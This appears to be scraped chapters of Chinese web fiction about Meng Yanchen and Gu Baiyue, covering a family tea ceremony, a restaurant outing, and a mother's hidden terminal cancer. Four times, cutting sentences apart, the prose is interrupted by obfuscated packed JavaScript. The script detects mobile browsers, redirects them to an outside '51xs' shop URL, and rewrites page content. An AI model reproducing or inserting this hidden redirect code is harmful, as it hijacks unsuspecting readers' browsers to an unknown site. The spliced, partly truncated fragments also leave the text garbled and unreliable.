孟宴臣本来嫌弃肖亦骁烦人,不想搭理他,闻言情不自禁地跟着点头,肖亦骁虽然不靠谱,这句话说得倒中肯。 其实他也这么认为。 一直等到下课,两人到走廊里吹风,肖亦骁眼尖,指着操场上一道纤细窈窕的身影,兴奋道:“那不是皎皎吗?嘿,小丫头片子在咱面前软乎乎的,在外还挺有高岭之花的范儿。” 孟宴臣顺着肖亦骁指的方向看过去,顾白月应该是跟王雨润手拉手去零食铺了,脸颊一鼓一鼓地吃着干脆面。 一个男生挡住两人去路,满脸灿烂笑意,格外热情地将手中的巧克力糖递给顾白月。 距离太远,听不见三人在说什么,不过男生脸上的笑明晃晃地扎眼,莫名惹人讨厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9423103|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾白月浅浅淡淡地笑,并不接那盒巧克力,同王雨润绕开几步接往教室里走。 肖亦骁哪壶不开提哪壶,撞了撞孟宴臣的肩:“我敢打赌,这小子喜欢皎皎。” 孟宴臣本能地排斥这种可能,“皎皎现在应该以学习为主。”一切影响她学习成绩的人,都不该出现。 肖亦骁笑了:“堵不如疏,这种事管不住的。”他趴在栏杆上跟走近了的顾白月打招呼,嘴里不正经地调侃:“啧啧,我妹真好看,盘儿靓条顺,跟个喝露水的小仙女似的,谁见了不迷糊。” 他拍了拍孟宴臣:“嗳,你还不知道吧,大家给皎皎送了一个外号,叫什么高岭之花白月光。要不是兔子不吃窝边草,怕季阿姨跟我拼命,我还真想跟皎皎谈谈,哥们再怎么样也比外面那些野路子强……” “肖二虎!”孟宴臣终究年少沉不住,气得额头青筋直跳,脱口喊了肖亦骁小名,“你要再这么口无遮拦,我就把你今天英语小测的成绩发给肖叔叔!” 肖亦骁怕了:“干嘛啊,就开几句玩笑怎么还急眼了。” 孟宴臣咬牙切齿:“皎皎还小,你要是再嘴上花花乱说话,别怪我跟你翻脸。” “知道了。”肖亦骁耷拉着脸,“知道的是你把皎皎当妹妹,不知道的还以为你是她爹呢,咋啥都管呢。” 孟宴臣以不变应万变,只固执地说:“皎皎还小。” …… 星期六的时候,季如兰还没有回来,顾白月不放心打视频电话问,季如兰笑她人小鬼大操心的命。 季如兰说自己遇到了小学同学,多耽搁了一天,第二天下午就到家了。 顾白月心头惴惴不安,勉强对季如兰笑了笑:“我想你了,妈妈。” 远在江南水乡的季如兰眼眶一红,差点哭出来,匆匆说了一句:“皎皎乖一点,别闹妈妈。” 顾白月一晚上没睡好,反正翻来覆去睡不着,干脆早早起床,顶着一个大大的黑眼圈,帮花匠叔叔修剪月季枝。 剪下来的花需要精心修理,剔除枯叶和花刺,疏落有致地插在复古白瓷瓶里。 顾白月有心事,整个人精神恍惚,花刺扎到手指都没察觉,还是孟宴臣忽然出声提醒:“皎皎小心。” 雪白柔软的指肚冒出一粒殷红血滴,顾白月反而安慰孟宴臣:“没事的宴臣哥哥,不疼。” 一贯温和内敛的孟宴臣失了镇定,捧着顾白月的手看了又看,语气里有着不自知的慌乱:“握着剪刀还敢分心,不是说舞蹈演员的手不能留疤吗?” 顾白月哭笑不得:“针眼大的小口子,不至于吧。” 孟宴臣强硬地拉着顾白月回房间,“还是消毒处理一下。” 少年少女结伴从花园离开,两人谁都没有注意二楼阳台上,付闻樱端着一杯茶久久伫立,睡裙上残留着因手抖而溅落的水渍,表情难看…… 世上有三样东西不可掩饰,咳嗽,贫穷,还有……爱意。 孟宴臣(十六) 好不容易遇到周末,几个孩子凑齐了都在家里,付闻樱嘴上没说什么,心底是有些高兴的,早餐结束后,特意拿出一罐西湖龙井:“朋友送的茶,你们尝尝。” 孟家人都很喜欢传统文化,尽管内里不改资本家血腥逐利的本质,也深谙弱肉强食适者生存的丛林法则,但一举一动温文儒雅风度翩然,闲暇时喜欢喝茶赏画,听雨下棋,实在风雅得很。 见付闻樱想要泡茶,顾白月极有眼力地去拿茶具,她自小在孟家长大,为了不讨嫌,每次跟着妈妈季如兰来上班时,都会帮其他叔叔阿姨干活,家里的事顾白月熟。 一整套雨后天青色茶具依次摆开,付闻樱却没有自己动手的意思,老神在在地端坐那里,对儿子道:“宴臣来试试吧。” 孟宴臣对茶道并不陌生,闻言娴熟地净手煮水,烫杯温壶,一应紫砂壶、公道杯、闻香杯、品茗杯次第上阵,井然有序。 接着就是马龙入宫,摇香洗茶,以凤凰三点头的方式进行冲泡,一系列动作下来真如行云流水。 过程中不能说话,孟宴臣斯文清俊,举止有度,认认真真地封壶分杯,宛若千金万金涵养出来的世家贵公子,温润如玉,浑身充满书卷气,单单看着便是一种视觉享受。 顾白月一脸崇拜地托腮望向孟宴臣,真想把这古色古香的一幕偷偷拍下来。 平常话并不多的付闻樱,今天好像格外有谈兴,“小孩子就是长得快,一眨眼你们都快成年了。” 许沁默然不说话,顾白月只好将话题接了过去:“不管长多大,在阿姨面前都是小孩子。” 付闻樱笑了笑:“阿姨记得皎皎小时候就粉莹莹的漂亮,每回去幼儿园上课,口袋里都塞满了小朋友送的礼物,现在越长越出众,皎皎平常肯定有很多追求者吧?” 嗳? 顾白月差点以为自己听错了,付闻樱可不是一个喜欢八卦的人,以往话里话外更是对早恋深恶痛绝,怎么突然问起这些事来了。 她略一踌躇,全部心思都用来思考付闻樱的用意了,哪里留意到孟宴臣手一抖,差点被溅起的沸水烫到。 别人都怕付闻樱,顾白月却认为还好,神情之中有对长辈的尊敬,却没有被审视的畏惧,老老实实地解释:“阿姨,皎皎觉得您以前说得对,学生就该以学习为主,况且小孩子的喜欢很多时候都是心血来潮,不能作数。” 付闻樱深有同感地点头,意味深长地说道:“是啊,少男少女之间互生好感,有点暧昧情愫很正常,但要是混淆了欣赏和喜欢的概念,那就麻烦得很了,自己都是一无所用,尚且需要家长庇护的年纪,拿什么说喜欢。” 她顿了顿,仿佛漫不经心地一问:“这么说来,皎皎是没有喜欢的小男生了?” 顾白月不知道付闻樱在担心什么,只以为她单纯是关心自己,搞怪地说道:“皎皎一心只有学习和跳舞,男人只会影响我拔剑的速度。” “那就好。” 付闻樱眯着狭长锋利的眼睛,不动声色地看向儿子,孟宴臣勉强保持镇定,只是若有所思地继续冲泡茶叶。 倘若这不是她亲生儿子,恐怕连付闻樱都会被孟宴臣的掩饰蒙骗过去。 可惜啊…… 到底是太年轻了,有了牵挂便难以隐藏。 茶道亦是人道,茶水便如人心一般。那份悸动明明白白地显示出来,无所遁形。 付闻樱端起一杯浅酌,淡淡评价:“心不静,手不稳,火候过了,茶叶又放得多了三分之一,这茶就苦涩难以入口了。” 孟宴臣认错:“是。”他看向付闻樱,以孟宴臣对母亲的了解,她从来不是一个无的放矢的人。 既然如此,又为什么要说这番似是而非,别有深意的话? 仿佛是在试探。 试探什么? 许沁不理解付闻樱的慈母之心,九曲回肠,她听到付闻樱又在大谈特谈,说一些早恋的坏处,顿觉不厌其烦,长久被压抑的内心有些躁意。 不经意地,她想到了宋焰。 那个人如其名,像焰火一般绚烂的男孩。 没有人再三约束,没有人三令五申,想做什么就做什么的生活,多么快乐啊。 为什么,为什么她不能像宋焰一般自由自在呢? 在孟家做了这么多年乖乖女,按照孟怀瑾和付闻樱的期许,规规矩矩地接受一切安排,难道她的人生注定永远如此吗? 成为一只精美的,毫无生气的,被孟家死死操控着的傀儡…… 我不要。 眼前似乎再次浮现那天晚上无意之中目睹的一切,男孩穿着铆钉夹克,倚在楼梯拐角处等她,嘴里吞云吐雾,那么散漫随性,无拘无束,轮廓分明的脸早早褪去了少年人的青涩,游刃有余地将打火机抛上抛下。 他咬着烟蒂斜视过来: “许沁,想不想试着反抗一次,叛逆一次。” “什么?” “你,想学抽烟吗?” 许沁并没有答应,她怕自己身上染上香烟的味道,被精明的付闻樱识破,那会招来一顿严厉管教。 她甚至连辣条都不许许沁吃。 临走的时候,宋焰约许沁周末出去玩,他说要带许沁体验一把自由的味道。 许沁脚步一顿,唯有自己清楚自己的动摇。 回忆骤然收拢,许沁看向将大半注意力都放在孟宴臣和顾白月身上的付闻樱,再次涌上被人忽略,被人无视的难堪。 孟宴臣也就算了,毕竟是付闻樱十月怀胎掉下来的一块肉,可是顾白月凭什么? 一个佣人家的女儿。 难道她连一个佣人家的女儿都比不过吗?许沁自嘲地抿了抿嘴,归根结底,他们是不爱她罢了。 “妈妈。”许沁忽然站起来打破一室温馨,“我约好跟同学一起去图书馆写作业,有点远,中午就不回来吃饭了,可以吗?” 付闻樱:“必须今天去吗?妈妈说趁你们都在家,中午带你们去吃月海居的淮扬菜。” 许沁坚持:“已经提前说好了,爽约会让同学不高兴的。” 付闻樱略感遗憾:“好吧。”今天中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9424410|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午去月海居聚餐的事,她提前几天就跟孩子们说好了,就连孟怀瑾都推了周末朋友约打高尔夫的应酬,沁沁怎么偏偏这时候有事。 不过,她惯来教导孩子们要言而有信,许沁既然答应了,那就让她去好了。 付闻樱骨子里其实是一个有些守旧的人,非常注重家庭,但她嘴硬心软,不善于表达,以至于很少有晚辈主动体贴付闻樱的感受。 团圆的意义就在于一家人整整齐齐,少了谁都不行,许沁这一走,付闻樱就有些不大痛快。 顾白月知道付闻樱心中这个“一家人”,甚至包含了自己,她感激付闻樱,一向不忍心看付闻樱失落,就笑嘻嘻地凑趣:“阿姨阿姨,是那个大名鼎鼎的月海居吗?我听同学们说,那里的菜可好吃了,全都是按照国宴标准来的,要鲜掉人眉毛的,就是不好订房间,要提前很久预约的,今天能跟着去蹭吃蹭喝,皎皎可真是太有口福了。” 很多时候,人说话做事都需要一个捧哏的,以孟家的身份地位,虽说就算不预约也不至于被月海居拒之门外,但这次的聚餐毕竟是付闻樱慎之又慎,一个星期前就准备好的,甚至就连菜单都提前敲定了。 现在,这番心思都被顾白月点出来,付闻樱心下熨帖,总算自己的努力没有白费,“你喜欢,阿姨下次再带你们去吃。” 说来很好笑,付闻樱有一儿一女,自认为一碗水端平,无论是亲生的孟宴臣,还是收养的许沁,都称得上是尽心尽力,无微不至。 可惜的是宴臣安静内敛,总是沉默着接受她安排好的一切。沁沁冷冷淡淡,始终把自己定义为寄人篱下的小可怜,心存隔阂。 反倒是在顾白月身上,付闻樱第一次感受到养崽崽的快乐,女儿好啊香香软软又贴心,怪不得说女儿是妈妈的小棉袄呢。 再精明强势的母亲,儿女永远都是软肋,大概是付闻樱表现得太雷厉风行,铁血手腕,以至于大家常常忘记,其实她归根结底,也只是一个需要关心,需要正向情感反馈的妈妈。 孟宴臣看向相处和谐,其乐融融的付闻樱和顾白月,放松地笑了起来,无论妈妈为什么关注皎皎的校园生活,最起码有一点孟宴臣很确信。 妈妈不会伤害皎皎。 许沁不在,一家人也是要吃饭的,大家围坐在月海居的红木圆桌边,孟怀瑾看了看空着的那把椅子,“给沁沁打个电话吧,吃完再让助理送她回图书馆,实在不行,把她同学一块请来吃饭。” 电话打过去,许沁没接,只是回了消息说图书馆不方便说话,自己晚上门禁前一定回家。 孟怀瑾也就不说什么了,招呼顾白月:“皎皎多吃点。” 顾白月笑:“谢谢叔叔。” 其实顾白月没有胃口,她昨天晚上没睡好,今天又一直惦念着正在路上的季如兰,吃不下多少东西。 只是,顾白月有身为客人的自觉,知道不能扫兴,始终表现得高高兴兴地。 唯有孟宴臣知道顾白月心不在焉,在桌下轻轻捏了捏女孩的手,无声跟她说:下午我们一起去接阿姨回家。 孟宴臣(十七) 妈妈迟迟不归,顾白月心中挂念,始终有些惴惴不安,面对一桌子山珍海味也觉味如嚼蜡,出于礼节才在孟怀瑾和付闻樱面前表现得喜欢。 早在付闻樱订雅间筹备家庭聚会时,月海居的沈老板就格外留意,今天听说孟氏夫妇带着孩子来了,特意估摸着时间过来打招呼,还额外送了饭后甜点。 沈老板大约是想奉承,有心说一些场面话,拍着大腿道:“哎呦,孟总和孟太太都是人中龙凤也就罢了,生得一双儿女也是钟灵毓秀,瞧着跟电影明星似的,让我老婆看见非羡慕死不可。” 之前付闻樱在月海居预留订餐信息时,说好了是自己夫妇二人,另带着儿子女儿同行,今天许沁没来,反而是顾白月陪他们出门,沈老板会误会也情有可原。 顾白月有些尴尬,却不好出头多解释。 孟怀瑾也只是笑笑,赞同般点了点头。 唯有孟宴臣淡淡说了一句:“皎皎不是。” 不是什么,他没有多说。 既然有机会跟孟家人结识,身为生意人的沈老板也不想白白放过财神爷,胖乎乎的脸上满堆着笑意:“今天餐厅搞活动,但凡来店用餐的客户都免费送照片,难得一家人聚得整整齐齐,孟总带着太太和孩子们拍一张吧?” 孟怀瑾总归是惦念养女许沁,闻言道:“还是算了吧……”许沁本来就有些敏感淡漠,他怕孩子心里多想,便犹疑着望向妻子和儿子。 向来克己复礼,端正如清风朗月的孟宴臣,却好像很感兴趣:“爸爸妈妈,我们好久没有一起拍照了。” 付闻樱不知怎么的,忽然想到许沁今天上午拒绝一起参加家庭聚会,坚持要跟同学一起外出时脸上的平静无波,再望向安静乖软的顾白月,不由浅笑:“拍吧,一张照片而已。” 雅间里的装饰是古中国式的淡雅山水图,满月形绢面屏风前,一家之主的孟怀瑾西装革履,深灰色衬衣,冷冰冰的金丝框架眼镜,一张脸虽然上了些年纪,却丝毫不减成熟魅力,反而积淀出深沉内敛,儒雅之中隐见锋芒的气势。 付闻樱与他并肩而坐,相携相伴,一套黑白相间的职业套裙,笑意端庄得体,珠宝耳饰也是锦上添花罢了。 “我就不拍了吧……”顾白月摆摆手,沈老板不知真相错把他们当做一家人,她可不能揣着明白装糊涂。 妈妈说过,越是跟富贵人家相交,越要认清楚自己几斤几两,千万不要生出不该有的贪念。 孟宴臣放柔了声音哄她:“皎皎别怕,爸爸妈妈从来没把你当外人的。” 孟怀瑾和付闻樱也双双望了过来,顾白月可不敢让这两尊大神屈尊降贵等自己,乖乖跟着孟宴臣走过去。 清俊到有些秀气的少年,从容不迫,克己复礼;堪称绝色的少女,雪肤花容,嫣然无方。 两张青春无限,年轻鲜活的脸,凑在一起时,丝毫没有湮没对方的光环,而是和谐互生,相辅相成。 就连亲自过来拍照的沈老板不得不感叹一句,孟家人的基因是真厉害,就这颜值扔娱乐圈里也数一数二。 咔擦声响起,美好又温馨的画面永久定格。 …… 整整一下午,顾白月都有些坐立不安,骑在马上还差点被颠簸下来,多亏孟宴臣在旁边护住她。 “走吧,我们提前去机场等兰姨。” 顾白月灰扑扑的小脸一下子有光彩了:“好嗳。” 两人本来跟肖亦骁一起出来跑马,现在要走,就过去跟肖亦骁说了一声。 肖亦骁抬起手腕看了看表:“季阿姨不是六点到吗?现在还早着呢,急什么?韩廷听说你们来了,刚才还打电话说带朋友过来。” 顾白月歉意地冲他笑:“改天吧,我想妈妈了。” “小丫头真黏糊人。”肖亦骁打趣了几句,也没难为顾白月,“去吧去吧,过两天我去找季阿姨玩,请她给我煲乌鸡汤。” 孟宴臣跟顾白月骑马离开,到更衣室换好衣服就走,恰有一队人进场,韩廷对赵又司说:“孟宴臣火急火燎的,不知道又带着他那个宝贝妹妹去干什么。” 赵又司偏首望过去,笑着看了一会儿,语气痴迷:“真好看……” “兄弟……”韩廷浑身一震,表情艰涩,“别怪我没提醒你,皎皎可还没有成年呐,而且老孟把她看得跟眼珠子一样,你也不想闹得朋友决裂,招来孟家未来继承人的报复吧。” 赵又司失笑:“你想哪儿去了,我是说皎皎生得好,初看灵气十足,细看皮相骨相俱佳,尤其那饱满的高颅顶,圆润的后脑勺,线条和比例都堪称完美,简直是独特造物主偏爱。” 韩廷难以置信:“有没有搞错,一个颅顶有什么好看的?” 赵又司解释:“这么跟你说吧,如此完美的颅顶万中无一,下面的头盖骨一定也很完美,死后能直接放医学院展览。” “你小子……”韩廷对赵又司求饶,“医学世家的孩子就是不一样,看人先看骨头,主打的就是一个变态。” 他有气无力地地睨着好友,“不过这话千万别被老孟听到,——我怕先在博物馆里看到你的头盖骨。” …… 顾白月伸长脖子等得望眼欲穿,孟宴臣不得不一次次扶稳她,每一次都小心翼翼,不厌其烦。 终于,季如兰拉着行李箱,风尘仆仆地走了出来。 “妈妈……” 顾白月欢呼着冲过去。 季如兰笑着摸了摸女儿的脸,轻声问她这几天在孟家住得怎么样,有没有给人家添麻烦,有没有帮厨房里的叔叔阿姨做事。 注意到季如兰眼眸发红,容色憔悴,应该是路途中没有休息好,孟宴臣安慰道:“好了皎皎,兰姨已经平安回来,你就别担心了,先回家再说吧。” 顾白月吸了吸鼻子:“是哦,我还买了好多水果等妈妈回家。” 谁知季如兰却说:“这个不着急,妈妈带了一些南方特产,打算送给你孟叔叔付阿姨做谢礼。” 她问孟宴臣:“宴臣,阿姨想这个时候去你家里拜访,可以吗?” 孟宴臣同季如兰对视一眼,他敏锐地捕捉到季如兰神情之中的认真,甚至隐隐有些央求。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9425626|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他道:“当然可以。” 于是,在季如兰的坚持下,一行人马不停蹄地去往孟家,赶在孟怀瑾和付闻樱七点用晚餐之前抵达。 孟怀瑾和付闻樱显然也没想到,季如兰返程之后做的第一件事,不是带顾白月回家,而是登门致谢。 至于季如兰准备的礼物,虽然不算太名贵,但都是一些南方才有的小众糕点和茶叶,根据孟家人口味采买的,有几分投其所好的意思。 千里送鹅毛,礼轻人意重,孟氏夫妇温和地道谢,又将礼物妥当放好。 看出季如兰有话同付闻樱说,孟怀瑾避开去了书房,他前脚离开,季如兰后脚就对顾白月说:“皎皎,你去帮花匠叔叔看看花房收拾好没有,天气预报说今天晚上会下雨。” 顾白月不是傻子,她看出来季如兰想支开自己,不安地祈求:“妈妈……” 季如兰表情严肃,有些生气地说:“快去啊。” 顾白月没有办法,一步三回头地跟孟宴臣去了花房。 所有人都离开了,客厅里只剩季如兰和付闻樱的时候,这个要强了一辈子的柔韧女人,缓缓跪了下来,语带哽咽:“太太,我知道我这么说非常厚颜无耻,但我实在没有别的办法了,他们……他们太狠心了,不肯看顾我的皎皎……我怕我走了以后,皎皎被他们吃绝户……” 季如兰说得都是实话,如果不是走投无路,她无论如何都不会让顾白月再接近孟家,这里藏着一道万丈深渊,随时都会让她的女儿粉身碎骨。 是季如兰太天真了,她以为即便有着种种隔阂,但毕竟是血浓于水的亲人,只要她回去求一求,老家的父母兄弟,会看在她的面子上,当皎皎的监护人,庇护孩子到十八岁成年。 然而,事实却血淋淋得残忍。 父母兄弟听了她的话满眼放光,一口就答应了下来,却并非是割舍不掉亲情,而是想侵吞她们母女两人省吃俭用买下来的房子,明明八字都没有一瞥,他们却已经急着商量,怎么在皎皎转学到那里之后,办理退学手续,怎么吸引十里八乡的有钱人,将皎皎卖一个好价钱…… 那一刻,季如兰万分庆幸,她在睡梦之中猛然看到丈夫的脸,惊醒之后去卫生间,意外听到了这番诛心言论。 或许,冥冥之中自有天意。 季如兰如坠冰窖,她只顾着让皎皎远离豪门世家,纨绔子弟,认为自家无权无势招惹不起,却忘记了在穷乡僻野,过于美丽的女孩子从来下场凄惨。 她差一点就亲手把女儿推进了火坑…… 回来的飞机上,季如兰翻来覆去地想,忽然在绝境之中生出一股勇气,无论如何她都要在最后的时间里,给女儿博出一条出路。 季如兰和付闻樱关起门来聊了很久,即便有孟宴臣从旁劝解,顾白月也一直心绪不宁。 夜幕沉沉,季如兰推门走了出来。 顾白月一跃而起:“妈妈妈妈,我们回家吧。” 季如兰摇头:“皎皎,你不用走。” 顾白月惊诧:“什么?” “你以后……就住在这里。” 孟宴臣(十八) 仿佛那把悬在头顶很久的达摩克里斯之剑,终于落了下来,顾白月那莫名其妙,不知因何而来的担心,好像也得到了解释。 季如兰一脸疲惫地说:“你太调皮了,皎皎,妈妈真的有些精力不济,所以拜托你孟叔叔付阿姨照顾你一段时间。” 母女两人相依为命这么多年,在季如兰回老家探亲之前,两人从未分开过,现在季如兰冷不丁说要将顾白月寄养在孟家,顾白月怎么可能不害怕。 顾白月心慌得不行,无措地去抓季如兰的手:“妈妈,妈妈,你不要我了吗?” 季如兰不答,只是说了一句:“妈妈累了。”就独自一人回了家,对身后顾白月的呼喊置若罔闻。 这一夜,顾白月是泡在泪水里度过的。 孟宴臣同样一夜未合眼,独自一人守着可望不可即的清冷月色。 从这一天开始,有什么东西被打破了,顾白月平平淡淡过了十余年的生活,朝着一种难以预知的方向滑落。 在经历过短暂的难过,彷徨,自我怀疑和自我否定后,顾白月肿着两只漂亮的桃花眼,可怜巴巴地对孟宴臣说:“哥,你能不能告诉皎皎,我妈妈到底怎么了?” 是的,即便季如兰将她扔在孟家,一连几天不闻不问,还有意躲着顾白月,不许她回家不许她打电话,不再给她准备香香甜甜的小面包…… 但顾白月就是知道,妈妈还爱着她。 妈妈一定是有难言之隐。 这些天顾白月过得煎熬,孟宴臣同样心如刀绞,他从初中开始就常在孟家的产业之一国坤集团见习,在父母的有意栽培下,也积累了一些自己的人脉。 不必顾白月开口,孟宴臣就已经找人调查了一些事,他甚至跑去问付闻樱,那天晚上到底跟季如兰说了些什么。 然而,付闻樱只是微微叹气:“有些事,一直不知道反而比较幸福,你确定要打破皎皎最后一丝期望吗?” 孟宴臣踌躇,以他的聪明,差不多已经猜到了真相。其实皎皎也并非一无所知吧,她太怕失去母亲季如兰了,所以自欺欺人不愿相信。 那么,他究竟是该继续维持假象,给皎皎一丝虚幻无望的可能,还是亲手揭开这一切,请赤||裸裸的现实剖开给她看? 孟宴臣的心中一瞬间涌过无数念头,他最终还是抚了一下顾白月头上的乱发,疼惜地看着眼前在短短几天里迅速消瘦下去的姑娘,“跟我来。” 他牵着顾白月的手,一前一后慢慢走着,走过十字路口,越过林荫小径,就像很多很多年前,一大一小两个豆丁穿过蔷薇花海,一块去扑蝴蝶。 两人最终来到了市医院。 鼻尖充斥着浓烈的消毒水气味。 在住院部的三楼拐角处的那间病房里,顾白月看到了自己的妈妈,她穿着宽大的蓝白色相间的衣服,洗去所有化妆品的脸上有着憔悴。 护士在给季如兰做检查,她一边积极配合,一边语气和蔼地跟人闲聊,嘴里有些自豪地说:“我也有一个女儿,小名叫皎皎,又漂亮又可爱,学习成绩好还会跳舞,从小到大没让我操过一点心……” 阳光透过玻璃窗,照在季如兰脸庞上,几条深深的法令纹如此刺眼。 “妈妈……”顾白月再也控制不住,情绪崩溃地冲过去,抱住季如兰嚎啕大哭,“皎皎不好,皎皎一点都不好,我都没有看出来你生病了,皎皎是一个坏孩子……” “傻孩子。” 季如兰先是怔愣,继而想要掩饰,想要矢口否认,后来发现顾白月已经知道了一切,孟宴臣默然无声地跟在后面,心底便清楚一切都瞒不下去了。 她拍了拍女儿的背,柔声道:“不怪皎皎,妈妈多聪明啊,天天穿宽松衣服,画精致的妆,医生都看不出来我生病了,又怎么能怪皎皎呢?” 巨大的悲痛将顾白月淹没,她哭得上气不接下气,视线里一片模糊,只知道紧紧抱住季如兰,生怕她从眼前消失。 孟宴臣的心泛起似有若无的抽痛。 他从病房里走出来,去了季如兰的主治医生那里询问病情,用自己的卡预存了一笔医药费,再三拜托医生好好治疗季如兰。 为免主治医生觉得他是半大孩子,不太在意,孟宴臣不惜动用孟家人的金子招牌,言明一切药剂都用最好的。 医生自然满口答应下来,但他也坦诚地说道:“病人在母体时就先天不足,再加上小时候饮食不调,发育不良,成年后更是积劳成疾,体质受损严重,压根不具备做手术的条件,目前只能保守治疗……” 孟宴臣终归年岁还小,第一次如此近距离地直面死亡,还是身边如此亲近之人,情绪十分失落怅然,面色凝重地问:“如果一切顺利的话,兰姨还有多久时间?” 兰姨才四十多岁,人生本可以拥有大把精彩时光,现在就要被死神强硬地暂停一切,剥夺生命,命运何其残忍。 皎皎又何其可怜。 医生没有说话,只是伸开五根指头比了比。 五个月…… 孟宴臣心事重重地从医生的办公室走出来,路过大厅时,眼角余光隐约瞥见一抹熟悉身影,看起来有些像许沁。 他追了两步,再仔细看去,人已经不见了。 许沁好端端地来这里做什么?难道她也生病了吗? 天知道孟宴臣现在最怕的就是“生病”二字,他多希望身边人都平平安安,长乐无忧。 …… 一场秋雨一场寒,天气骤然冷了下来。 或许一同冷下来的还有人心。 顾白月落寞地看向窗外,梧桐叶簌簌掉落,手掌般宽大的叶片混合着细雨,淅淅沥沥,点点滴滴,湿寒冷气直透进骨头缝里。 今年的秋天好像格外冷些。 顾白月背着书包,垂着脑袋往校外走,整个人如同一只经霜打败的向日葵,蔫哒哒的,不复灿烂蓬勃的朝气。 很意外地,顾白月在一株粗硕的梧桐树后面看到了许沁,她手指间应该是捏了什么东西,一丁点火星子明明灭灭,察觉到顾白月的视线后,很快就藏在了身后。 那一闪而过的东西,应该是香烟吧? 许沁对谁都是冷冷淡淡的,她也有洁癖,但这洁癖跟付闻樱那种过分喜爱整洁的习性又有所不同,从小到大但凡谁不小心碰到她,许沁就会反反复复洗手,每次都至少清洗三遍以上。 两人虽说自幼相识,关系却说不上多融洽,至多是泛泛之交,顾白月本来不想讨人嫌,念及孟叔叔和付阿姨为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9426818|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了妈妈的病,特意出面同医院交涉,还请了专家团来研究治疗方案,实在是一份天大的恩情。 许沁不仅仅是许沁,她还是孟怀瑾和付闻樱的养女,顾白月不想他们有一天因许沁而伤心。 顾白月:“许沁,你知道的吧,吸烟有害身体健康。” 许沁高挑的个子倚靠在树干上,冷冷淡淡道:“跟你没关系,而且我没记错的话,你妈妈现在生病了吧?有什么资格教训我。” 妈妈是顾白月的软肋,她一瞬间化身被激怒的小兽,攥紧拳头:“就算你不喜欢我,也没必要这么说我妈妈,许沁,叔叔阿姨教过你人应该有同理心的,何况那是照顾了你十几年的长辈。” 许沁:“不过是一个煲汤阿姨而已,算什么长辈。” 顾白月气得眼都红了,偏偏有人在这个时候跳出来,压着嗓子闷声闷气道:“沁沁说得也没错啊,你妈不就是孟家的下人嘛,什么照顾不照顾的,还不是为了钱?” 是宋焰。 他走到许沁面前,想要揽着她说话,可笑的是,许沁甚至比宋焰还要高半头,却在宋焰靠近时有意矮了身段,垂头依偎在他肩膀处,语气带着一丝娇羞:“你来啦。” 宋焰望向顾白月:“老子知道你对我爱而不得,不过,我现在心里只有沁沁一人,你可不要插队,想要跟沁沁竞争上岗,记得先去拿一个号码牌,到号了叫你。” 空气甜腻得发齁,顾白月嘲讽一笑,宋焰还真是擅长睁眼说笑话,许沁也是奇怪,在关心她的孟家人面前高冷圣洁,宛若不食人间烟火,在宋焰面前反倒学会做小伏低。 顾白月:尊重,祝福,锁死。 来到校门口时,孟宴臣和肖亦骁都在等她,三人约定好去看季如兰,出人意料的是韩廷也匆匆赶来了,手里还拿着一包草药。 他解释道:“是赵又司那个家伙托我送来的,说是能够缓解疼痛,你可以让阿姨试试。” 赵家是传承上百年,底蕴深厚的杏林世家,赵又司年纪轻轻已经小有成就,听说在中医一脉很有天赋。 到了这步田地,人家还能想着季如兰,顾白月心存感激。 不过,季如兰是肺癌晚期,情况不容乐观,无论中医还是西医,孟家都请来给季如兰看过,只是谁都不敢夸口说能治疗,至多是延缓病情,尽可能让季如兰仅剩的时光过得开心一些。 “妈妈,我们来看你了。” 大家进了病房,孟宴臣等人纷纷礼貌地同季如兰打招呼,拿出准备好的鲜花和果篮。 季如兰形容枯槁,大多数时候都在昏睡,众人不便打扰,韩廷和肖亦骁待了一会就离开了,孟宴臣留了下来。 孟家给季如兰安排了高档病房,但她没同意入住,季如兰有自己的坚持,她总想在力所能及的范围内,尽可能少欠孟家一点。 或许,她少欠孟家一点,皎皎在孟家人面前就能多一分底气。 